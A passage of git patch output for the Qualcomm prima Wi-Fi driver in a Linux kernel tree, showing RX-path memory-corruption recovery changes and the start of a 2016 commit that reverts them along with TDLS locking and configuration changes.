@@ typedef struct { WDTS_SetPSCbType cBack); void (*channelDebug)(wpt_boolean displaySnapshot, wpt_uint8 debugFlags); + void (*kickDxe) (void); wpt_status (*stop) (void *pContext); wpt_status (*close) (void *pContext); wpt_uint32 (*getFreeTxDataResNumber) (void *pContext); @@ -255,6 +256,15 @@ wpt_status WDTS_SetPowerState(void *pContext, WDTS_PowerStateType powerState, */ void WDTS_ChannelDebug(wpt_boolean displaySnapshot, wpt_uint8 debugFlags); +/* DTS Transport Channel Kick Dxe + * Request Kick DXE when HDD TX timeout happen + * + * Parameters : NONE + * Return Value: NONE + * + */ +void WDTS_ChannelKickDxe(void); + /* DTS Stop function. * Stop Transport driver, ie DXE, SDIO * Parameters: diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c index f6498401e97cc..1aebf0af58b7e 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -57,6 +57,7 @@ static WDTS_TransportDriverTrype gTransportDriver = { WLANDXE_CompleteTX, WLANDXE_SetPowerState, WLANDXE_ChannelDebug, + WLANDXE_KickDxe, WLANDXE_Stop, WLANDXE_Close, WLANDXE_GetFreeTxDataResNumber, @@ -74,6 +75,25 @@ typedef struct uint32 tputBpus; //unit in Bytes per usec: round off to integral value }WDTS_RateInfo; +#define WDTS_MAX_NUMBER_OF_RX_PKT 5 +#define WDTS_MAX_PAGE_SIZE 4096 +#define WDTS_MAX_RXDB_DATA_SIZE 128 + +struct WDTS_RxPktInfo +{ + uint8 rx_bd[WDTS_MAX_RXDB_DATA_SIZE]; + void *pFrame_head; + void *pFrame_tail; + uint32 pFrame_len; +}; + +static struct WDTS_PktInfoBuff +{ + struct WDTS_RxPktInfo PktInfo[WDTS_MAX_NUMBER_OF_RX_PKT]; + uint32 current_count; + uint8 current_position; +}WDTS_Pkt_Data_Buff = { .current_position = 0, .current_count = 0 }; + #define WDTS_MAX_RATE_NUM 137 #define WDTS_MAX_11B_RATE_NUM 8 #define MB_PER_SEC_TO_BYTES_PER_MSEC 13 @@ -514,6 +534,56 @@ WDTS_GetReplayCounterFromRxBD #endif } +/* Store RXBD, skb lenght, skb head, and skb end offset to global buffer. + * This function should be invoked when MPDU lenght + MPDU herader Offset + * if higher then 3872 bytes. + * Parameters: + * pFrame:Refernce to PAL frame. + * pBDHeader: BD header for PAL Frame. + * Return Value: v_VOID_t + * + */ +v_VOID_t +WDTS_StoreMetaInfo(wpt_packet *pFrame, wpt_uint8 *pBDHeader) +{ + wpt_uint8 usMPDUHLen; + wpt_boolean usAsf, usAef, usLsf, usESF; + wpt_uint16 usMPDULen; + wpt_uint32 usPmiCmd24to25; + struct WDTS_RxPktInfo *current_data = + &WDTS_Pkt_Data_Buff.PktInfo[WDTS_Pkt_Data_Buff.current_position]; + + vos_mem_copy(current_data->rx_bd, (void*)wpalPacketGetRawBuf(pFrame), + WDTS_MAX_RXDB_DATA_SIZE); + + usMPDULen = (wpt_uint16)WDI_RX_BD_GET_MPDU_LEN(pBDHeader); + usMPDUHLen = (wpt_uint8)WDI_RX_BD_GET_MPDU_H_LEN(pBDHeader); + usAsf = (wpt_boolean)WDI_RX_BD_GET_ASF(pBDHeader); + usAef = (wpt_boolean)WDI_RX_BD_GET_AEF(pBDHeader); + usLsf = (wpt_boolean)WDI_RX_BD_GET_LSF(pBDHeader); + usESF = (wpt_boolean)WDI_RX_BD_GET_ESF(pBDHeader); + usPmiCmd24to25 = (wpt_uint32)WDI_RX_BD_GET_PMICMD_24TO25(pBDHeader); + + current_data->pFrame_head = wpalGetOSPktHead(pFrame); + current_data->pFrame_tail = wpalGetOSPktend(pFrame); + current_data->pFrame_len = wpalPacketGetLength(pFrame); + + WDTS_Pkt_Data_Buff.current_count++; + + /* Dump packet info */ + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "count: %d usMPDULen: 0x%x, usMPDUHLen: 0x%x, usAsf: %x," + "usAef: %x, usLsf: 0x%x, usESF: 0x%x, usPmiCmd24to25: 0x%x," + "skb_len: 0x%x",WDTS_Pkt_Data_Buff.current_count, usMPDULen, + usMPDUHLen, usAsf, usAef, usLsf, usESF, usPmiCmd24to25, + current_data->pFrame_len); + + WDTS_Pkt_Data_Buff.current_position++; + if(WDTS_Pkt_Data_Buff.current_position >= WDTS_MAX_NUMBER_OF_RX_PKT) + WDTS_Pkt_Data_Buff.current_position = 0; + + return; +} /* DTS Rx packet function. * This function should be invoked by the transport device to indicate @@ -601,18 +671,29 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c // Special handling for frames which contain logging information if (WDTS_CHANNEL_RX_LOG == channel) { - if(VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)){ - WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + if (VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)) + { + /* Size of the packet tranferred by the DMA engine is + * greater than the the memory allocated for the skb + * Recover the SKB case of length is in same memory page + */ + WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, "Invalid Frame size, might memory corrupted(%d+%d/%d)", usMPDULen, ucMPDUHOffset, VPKT_SIZE_BUFFER_ALIGNED); - /* Size of the packet tranferred by the DMA engine is - * greater than the the memory allocated for the skb - */ - WPAL_BUG(0); + // Store RXBD, skb head, tail and skb lenght in circular buffer + WDTS_StoreMetaInfo(pFrame, pBDHeader); - wpalPacketFree(pFrame); - return eWLAN_PAL_STATUS_SUCCESS; + if ((usMPDULen+ucMPDUHOffset) <= WDTS_MAX_PAGE_SIZE) + { + wpalRecoverTail(pFrame); + wpalPacketFree(pFrame); + } else { + //Recovery may cause adjoining buffer corruption + WPAL_BUG(0); + } + + return eWLAN_PAL_STATUS_SUCCESS; } /* Firmware should send the Header offset as length @@ -656,19 +737,31 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c ucMPDUHOffset = usMPDUDOffset; } - if(VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)){ - WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + if (VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)) + { + /* Size of the packet tranferred by the DMA engine is + * greater than the the memory allocated for the skb + * Recover the SKB case of length is in same memory page + */ + WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, "Invalid Frame size, might memory corrupted(%d+%d/%d)", usMPDULen, ucMPDUHOffset, VPKT_SIZE_BUFFER_ALIGNED); - /* Size of the packet tranferred by the DMA engine is - * greater than the the memory allocated for the skb - */ - WPAL_BUG(0); + // Store RXBD, skb head, tail and skb lenght in circular buffer + WDTS_StoreMetaInfo(pFrame, pBDHeader); - wpalPacketFree(pFrame); - return eWLAN_PAL_STATUS_SUCCESS; + if ((usMPDULen+ucMPDUHOffset) <= WDTS_MAX_PAGE_SIZE) + { + wpalRecoverTail(pFrame); + wpalPacketFree(pFrame); + } else { + //Recovery may cause adjoining buffer corruption + WPAL_BUG(0); + } + + return eWLAN_PAL_STATUS_SUCCESS; } + if(eWLAN_PAL_STATUS_SUCCESS != wpalPacketSetRxLength(pFrame, usMPDULen+ucMPDUHOffset)) { DTI_TRACE( DTI_TRACE_LEVEL_ERROR, "Invalid Frame Length, Frame dropped.."); @@ -1142,6 +1235,19 @@ void WDTS_ChannelDebug(wpt_boolean displaySnapshot, wpt_uint8 debugFlags) return; } +/* DTS Transport Channel Kick Dxe + * Request Kick DXE when HDD TX time out happen + * + * Parameters : NONE + * Return Value: NONE + * + */ +void WDTS_ChannelKickDxe() +{ + gTransportDriver.kickDxe(); + return; +} + /* DTS Stop function. * Stop Transport driver, ie DXE, SDIO * Parameters: diff --git a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h index fc080e4e097ae..027d966fec470 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h +++ b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h @@ -448,4 +448,35 @@ void wpalFwLogPktSerialize ( wpt_packet *pFrame ); + +/*--------------------------------------------------------------------------- + wpalGetOSPktHead – Get the head of OS spacific socket buffer + Param: + pPacket – pointer to a wpt_packet + + Return: + void* - success +---------------------------------------------------------------------------*/ +void* wpalGetOSPktHead( wpt_packet *pPacket); + +/*--------------------------------------------------------------------------- + wpalGetOSPktend – Get end pointer of OS spacific socket buffer + Param: + pPacket – pointer to a wpt_packet + + Return: + void* - success +---------------------------------------------------------------------------*/ +void* wpalGetOSPktend( wpt_packet *pPacket); + +/*--------------------------------------------------------------------------- + wpalRecoverTail – recover currupted skb tail. + Param: + pPacket – pointer to a wpt_packet + + Return: + void - success +---------------------------------------------------------------------------*/ +void wpalRecoverTail( wpt_packet *pPacket); + #endif // __WLAN_QCT_PAL_PACKET_H diff --git a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c index b35e55052528f..e5b310bca7a80 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c +++ b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c @@ -441,6 +441,45 @@ wpt_status wpalPacketSetRxLength(wpt_packet *pPkt, wpt_uint32 len) } }/*wpalPacketSetRxLength*/ +void wpalRecoverTail(wpt_packet *pFrame) +{ + // Validate the parameter pointers + if (unlikely(NULL == pFrame)) + { + WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s : NULL packet pointer", __func__); + return; + } + + return vos_recover_tail(WPAL_TO_VOS_PKT(pFrame)); +} + +void* wpalGetOSPktHead(wpt_packet *pFrame) +{ + // Validate the parameter pointers + if (unlikely(NULL == pFrame)) + { + WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s : NULL packet pointer", __func__); + return NULL; + } + + return vos_get_pkt_head(WPAL_TO_VOS_PKT(pFrame)); +} + +void* wpalGetOSPktend(wpt_packet *pFrame) +{ + // Validate the parameter pointers + if (unlikely(NULL == pFrame)) + { + WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s : NULL packet pointer", __func__); + return 0; + } + + return vos_get_pkt_end(WPAL_TO_VOS_PKT(pFrame)); +} + /* Set of helper functions that will prepare packet for DMA transfer, based on the type of transfer : - to and from the device diff --git a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h index 34344b8504a62..b1a0fb3966603 100644 --- a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h +++ b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h @@ -273,12 +273,13 @@ #define QWLAN_HAL_CFG_LINK_FAIL_TX_CNT 215 #define QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES 216 #define QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT 217 +#define QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE 220 -#define QWLAN_HAL_CFG_MAX_PARAMS 218 +#define QWLAN_HAL_CFG_MAX_PARAMS 219 /* Total number of Integer CFGs. This is used while allocating the memory for TLV */ -#define QWLAN_HAL_CFG_INTEGER_PARAM 218 +#define QWLAN_HAL_CFG_INTEGER_PARAM 219 /*------------------------------------------------------------------------- Configuration Parameter min, max, defaults From c786e8cb81a0ca9703cadddf8554b41933bbca5e Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 14 May 2016 14:15:43 +0700 Subject: [PATCH 115/365] Revert "staging: prima: Update to LA.BR.1.2.6_rb1.10" This reverts commit b33b7a2a444b44fc5fce055578fce82e2ac58b39. Change-Id: Ibc93df6ff0741565d87822266d6f13c3bfbc9987 --- .../staging/prima/CORE/DXE/inc/wlan_qct_dxe.h | 19 --- .../staging/prima/CORE/DXE/src/wlan_qct_dxe.c | 37 +---- .../staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h | 11 -- .../prima/CORE/HDD/src/wlan_hdd_assoc.c | 16 +- .../staging/prima/CORE/HDD/src/wlan_hdd_cfg.c | 15 -- .../prima/CORE/HDD/src/wlan_hdd_cfg80211.c | 73 ++------- .../CORE/HDD/src/wlan_hdd_early_suspend.c | 3 - .../staging/prima/CORE/HDD/src/wlan_hdd_p2p.c | 2 +- .../prima/CORE/HDD/src/wlan_hdd_tdls.c | 38 ++--- .../prima/CORE/HDD/src/wlan_hdd_tx_rx.c | 14 -- .../prima/CORE/HDD/src/wlan_hdd_wext.c | 19 +-- .../prima/CORE/MAC/inc/sirMacProtDef.h | 5 +- drivers/staging/prima/CORE/MAC/inc/wniCfg.h | 11 +- .../prima/CORE/MAC/src/cfg/cfgProcMsg.c | 9 +- .../prima/CORE/MAC/src/dph/dphHashTable.c | 1 + .../prima/CORE/MAC/src/pe/lim/limApi.c | 6 - .../prima/CORE/MAC/src/pe/lim/limP2P.c | 51 +++++-- .../MAC/src/pe/lim/limProcessActionFrame.c | 33 +++-- .../prima/CORE/MAC/src/pe/lim/limUtils.c | 44 +----- .../prima/CORE/MAC/src/pe/lim/limUtils.h | 4 +- .../prima/CORE/SME/src/csr/csrApiRoam.c | 135 ++++++----------- .../prima/CORE/SME/src/sme_common/sme_FTApi.c | 8 +- .../staging/prima/CORE/TL/inc/wlan_qct_tl.h | 2 +- .../staging/prima/CORE/TL/src/wlan_qct_tl.c | 17 --- .../staging/prima/CORE/TL/src/wlan_qct_tli.h | 2 - .../staging/prima/CORE/VOSS/inc/vos_packet.h | 38 +---- .../staging/prima/CORE/VOSS/src/vos_packet.c | 85 +---------- .../staging/prima/CORE/WDA/inc/wlan_qct_wda.h | 16 -- .../staging/prima/CORE/WDA/src/wlan_qct_wda.c | 38 +---- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi.h | 10 -- .../prima/CORE/WDI/CP/src/wlan_qct_wdi.c | 22 +-- .../CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h | 10 -- .../CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c | 140 +++--------------- .../CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h | 31 ---- .../CORE/WDI/WPAL/src/wlan_qct_pal_packet.c | 39 ----- drivers/staging/prima/riva/inc/wlan_hal_cfg.h | 5 +- 36 files changed, 183 insertions(+), 826 deletions(-) diff --git a/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h b/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h index 70c2eb650efb2..91f917c98d9d7 100644 --- a/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h +++ b/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h @@ -442,25 +442,6 @@ void WLANDXE_ChannelDebug wpt_uint8 debugFlags ); -/*========================================================================== - @ Function Name - WLANDXE_KickDxe - - @ Description - Kick Dxe when HDD TX timeout happen - - @ Parameters - NONE - - @ Return - NONE - -===========================================================================*/ -void WLANDXE_KickDxe -( - void -); - wpt_uint32 WLANDXE_SetupLogTransfer ( wpt_uint64 bufferAddr, diff --git a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c index ca813be4cca8d..253203bb2ceb5 100644 --- a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c +++ b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c @@ -3230,15 +3230,13 @@ static wpt_status dxeTXPushFrame { wpt_status status = eWLAN_PAL_STATUS_SUCCESS; WLANDXE_DescCtrlBlkType *currentCtrlBlk = NULL; - WLANDXE_DescCtrlBlkType *tailCtrlBlk = NULL; WLANDXE_DescType *currentDesc = NULL; WLANDXE_DescType *firstDesc = NULL; WLANDXE_DescType *LastDesc = NULL; - WLANDXE_DescType *tailDesc = NULL; void *sourcePhysicalAddress = NULL; wpt_uint32 xferSize = 0; wpt_iterator iterator; - wpt_uint8 KickDxe = 0; + wpt_uint32 KickDxe = 0; HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, "%s Enter", __func__); @@ -3252,17 +3250,7 @@ static wpt_status dxeTXPushFrame /* Kick DXE when the ring is about to fill */ if (WLANDXE_TX_LOW_RES_THRESHOLD >= channelEntry->numFreeDesc) - { KickDxe = 1; - tailCtrlBlk = channelEntry->tailCtrlBlk; - tailDesc = tailCtrlBlk->linkedDesc; - - if(tailDesc->descCtrl.ctrl& WLANDXE_DESC_CTRL_VALID) - { - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, - "dxeTXPushFrame Descs threshold reached No DMA"); - } - } channelEntry->numFragmentCurrentChain = 0; currentCtrlBlk = channelEntry->headCtrlBlk; @@ -5742,29 +5730,6 @@ void WLANDXE_ChannelDebug return; } -/*========================================================================== - @ Function Name - WLANDXE_KickDxe - - @ Description - Kick DXE when HDD TX time out happen - - @ Parameters - NONE - - @ Return - NONE - -===========================================================================*/ -void WLANDXE_KickDxe(void) -{ - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, - "%s: Kick Dxe for HDD TX timeout",__func__); - /* Make wake up HW */ - dxeNotifySmsm(eWLAN_PAL_FALSE, eWLAN_PAL_TRUE); - dxeNotifySmsm(eWLAN_PAL_TRUE, eWLAN_PAL_FALSE); -} - wpt_uint32 WLANDXE_SetupLogTransfer(wpt_uint64 bufferAddr, wpt_uint32 bufferLen) { WLANDXE_ChannelCBType *channelEntry; diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h index 42d63e54d6e3c..87f3633666c20 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h @@ -2550,16 +2550,6 @@ This feature requires the dependent cfg.ini "gRoamPrefer5GHz" set to 1 */ #define CFG_OPTIMIZE_CA_EVENT_ENABLE ( 1 ) #define CFG_OPTIMIZE_CA_EVENT_DEFAULT ( 0 ) -/* - * BOffsetCorrectionEnable : This ini will control enabling/disabling - * of rate dependent power offsets in firmware - */ - -#define CFG_SAR_BOFFSET_SET_CORRECTION_NAME "gBOffsetCorrectionEnable" -#define CFG_SAR_BOFFSET_SET_CORRECTION_MIN (0) -#define CFG_SAR_BOFFSET_SET_CORRECTION_MAX (1) -#define CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT (0) - /*--------------------------------------------------------------------------- Type declarations -------------------------------------------------------------------------*/ @@ -3075,7 +3065,6 @@ typedef struct v_U8_t gOptimizeCAevent; v_BOOL_t crash_inject_enabled; v_U16_t rps_mask; - v_U8_t boffset_correction_enable; } hdd_config_t; /*--------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c index 2a5db17a68271..9bd846e484050 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c @@ -3053,9 +3053,7 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, ("HDD: del STA IDX = %x"), pRoamInfo->staId) ; - mutex_lock(&pHddCtx->tdls_lock); - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, - pRoamInfo->peerMac, FALSE); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, TRUE); if (NULL != curr_peer) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, @@ -3064,17 +3062,10 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, if (TDLS_IS_CONNECTED(curr_peer) || (eTDLS_LINK_CONNECTING == curr_peer->link_status)) { - mutex_unlock(&pHddCtx->tdls_lock); hdd_roamDeregisterTDLSSTA ( pAdapter, pRoamInfo->staId ); } - else - mutex_unlock(&pHddCtx->tdls_lock); - wlan_hdd_tdls_decrement_peer_count(pAdapter); } - else - mutex_unlock(&pHddCtx->tdls_lock); - wlan_hdd_tdls_reset_peer(pAdapter, pRoamInfo->peerMac); pHddCtx->tdlsConnInfo[staIdx].staId = 0 ; @@ -3097,11 +3088,8 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, __func__, pRoamInfo->reasonCode); #ifdef CONFIG_TDLS_IMPLICIT - mutex_lock(&pHddCtx->tdls_lock); - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, - FALSE); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, TRUE); wlan_hdd_tdls_indicate_teardown(pAdapter, curr_peer, pRoamInfo->reasonCode); - mutex_unlock(&pHddCtx->tdls_lock); #endif status = eHAL_STATUS_SUCCESS ; break ; diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c index 00eaee346fcb6..5ba7ffc01e571 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c @@ -3408,13 +3408,6 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_RPS_CPU_MAP_DEFAULT, CFG_RPS_CPU_MAP_MIN, CFG_RPS_CPU_MAP_MAX), - - REG_VARIABLE(CFG_SAR_BOFFSET_SET_CORRECTION_NAME, WLAN_PARAM_Integer, - hdd_config_t, boffset_correction_enable, - VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, - CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT, - CFG_SAR_BOFFSET_SET_CORRECTION_MIN, - CFG_SAR_BOFFSET_SET_CORRECTION_MAX), }; /* @@ -5408,14 +5401,6 @@ v_BOOL_t hdd_update_config_dat( hdd_context_t *pHddCtx ) hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_MAC_ADDR_SPOOFING "); } - if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - pConfig->boffset_correction_enable, - NULL, eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) - { - fStatus = FALSE; - hddLog(LOGE, "Could not pass on WNI_CFG_SAR_BOFFSET_SET_CORRECTION to CCM"); - } - return fStatus; } diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c index ce7fdfae1495a..5d74d5dd9fce5 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c @@ -8539,6 +8539,7 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, mutex_unlock(&pHddCtx->tdls_lock); return -EINVAL; } + mutex_unlock(&pHddCtx->tdls_lock); /* in add station, we accept existing valid staId if there is */ if ((0 == update) && @@ -8549,7 +8550,6 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, "%s: " MAC_ADDRESS_STR " link_status %d. staId %d. add station ignored.", __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, pTdlsPeer->staId); - mutex_unlock(&pHddCtx->tdls_lock); return 0; } /* in change station, we accept only when staId is valid */ @@ -8557,16 +8557,13 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, ((pTdlsPeer->link_status > eTDLS_LINK_CONNECTING) || (!TDLS_STA_INDEX_VALID(pTdlsPeer->staId)))) { - tANI_U16 staId = pTdlsPeer->staId; VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: " MAC_ADDRESS_STR " link status %d. staId %d. change station %s.", - __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, staId, - (TDLS_STA_INDEX_VALID(staId)) ? "ignored" : "declined"); - mutex_unlock(&pHddCtx->tdls_lock); - return (TDLS_STA_INDEX_VALID(staId)) ? 0 : -EPERM; + __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, pTdlsPeer->staId, + (TDLS_STA_INDEX_VALID(pTdlsPeer->staId)) ? "ignored" : "declined"); + return (TDLS_STA_INDEX_VALID(pTdlsPeer->staId)) ? 0 : -EPERM; } - mutex_unlock(&pHddCtx->tdls_lock); /* when others are on-going, we want to change link_status to idle */ if (NULL != wlan_hdd_tdls_is_progress(pHddCtx, mac, TRUE, TRUE)) @@ -8595,17 +8592,14 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, else { hddTdlsPeer_t *pTdlsPeer; - mutex_lock(&pHddCtx->tdls_lock); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); if (pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) { - mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: " MAC_ADDRESS_STR " already connected. Request declined.", __func__, MAC_ADDR_ARRAY(mac)); return -EPERM; } - mutex_unlock(&pHddCtx->tdls_lock); } if (0 == update) wlan_hdd_tdls_set_link_status(pAdapter, @@ -12284,21 +12278,6 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, __func__); return status; } - - if (pHddCtx->spoofMacAddr.isEnabled) - { - hddLog(VOS_TRACE_LEVEL_INFO, - "%s: MAC Spoofing enabled ", __func__); - /* Updating SelfSta Mac Addr in TL which will be used to get staidx - * to fill TxBds for probe request during SSID scan which may happen - * as part of connect command - */ - status = WLANTL_updateSpoofMacAddr(pHddCtx->pvosContext, - &pHddCtx->spoofMacAddr.randomMacAddr, &pAdapter->macAddressCurrent); - if (status != VOS_STATUS_SUCCESS) - return -ECONNREFUSED; - } - if ( req->channel ) { status = wlan_hdd_cfg80211_connect_start(pAdapter, req->ssid, @@ -14364,14 +14343,7 @@ void hdd_cfg80211_sched_scan_done_callback(void *callbackContext, if (0 > ret) hddLog(VOS_TRACE_LEVEL_INFO, "%s: NO SCAN result", __func__); - else - { - /* Acquire wakelock to handle the case where APP's tries to suspend - * immediatly after the driver gets connect request(i.e after pno) - * from supplicant, this result in app's is suspending and not able - * to process the connect request to AP */ - hdd_prevent_suspend_timeout(1000, WIFI_POWER_EVENT_WAKELOCK_SCAN); - } + cfg80211_sched_scan_results(pHddCtx->wiphy); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: cfg80211 scan result database updated", __func__); @@ -15122,17 +15094,14 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, else { hddTdlsPeer_t *pTdlsPeer; - mutex_lock(&pHddCtx->tdls_lock); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); if (pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) { - mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s:" MAC_ADDRESS_STR " already connected. action %d declined.", __func__, MAC_ADDR_ARRAY(peer), action_code); return -EPERM; } - mutex_unlock(&pHddCtx->tdls_lock); } } @@ -15147,9 +15116,7 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, { hddTdlsPeer_t *pTdlsPeer; - - mutex_lock(&pHddCtx->tdls_lock); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); if(pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) responder = pTdlsPeer->is_responder; @@ -15159,10 +15126,8 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, "%s: " MAC_ADDRESS_STR " peer doesn't exist or not connected %d dialog_token %d status %d, len = %zu", __func__, MAC_ADDR_ARRAY(peer), (NULL == pTdlsPeer) ? -1 : pTdlsPeer->link_status, dialog_token, status_code, len); - mutex_unlock(&pHddCtx->tdls_lock); return -EPERM; } - mutex_unlock(&pHddCtx->tdls_lock); } /* For explicit trigger of DIS_REQ come out of BMPS for @@ -15396,6 +15361,7 @@ int 